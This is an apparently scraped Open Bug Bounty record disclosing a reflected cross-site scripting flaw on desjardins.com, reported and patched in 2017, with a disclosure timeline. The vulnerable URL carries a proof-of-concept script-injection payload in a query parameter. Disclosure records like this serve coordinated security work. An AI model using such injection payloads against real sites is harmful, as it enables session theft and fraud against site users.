desjardins.com XSS vulnerability

2017-11-20T09:47:00
ID OBB:424143
Type openbugbounty
Reporter Gromak123_XSS
Modified 2017-12-21T02:40:00

Description

Vulnerable URL:
https://desjardins.com/contenus/popovers/contenu201661319111017135.jsp?nomProd=Fonds%2520Desjardins%2520Soci%25E9Terre%2520Actions%2520am%25E9ricaines%27%22()%26%25%3Cxss%3E%3CScRiPt%20%3Ealert(%27OpenBugBounty%27)%3C/Script%3E
Details:

Description| Value
---|---
Patched:| Yes, at
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 5952
VIP website status:| Yes

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 20 November, 2017 09:47 GMT
Generic security notifications sent to website owner| 20 November, 2017 09:50 GMT
Notification sent to subscribers (without technical details)| 20 November, 2017 10:17 GMT
Vulnerability details disclosed by researcher| 20 December, 2017 10:19 GMT
Vulnerability patched by the website owner| 21 December, 2017 02:40 GMT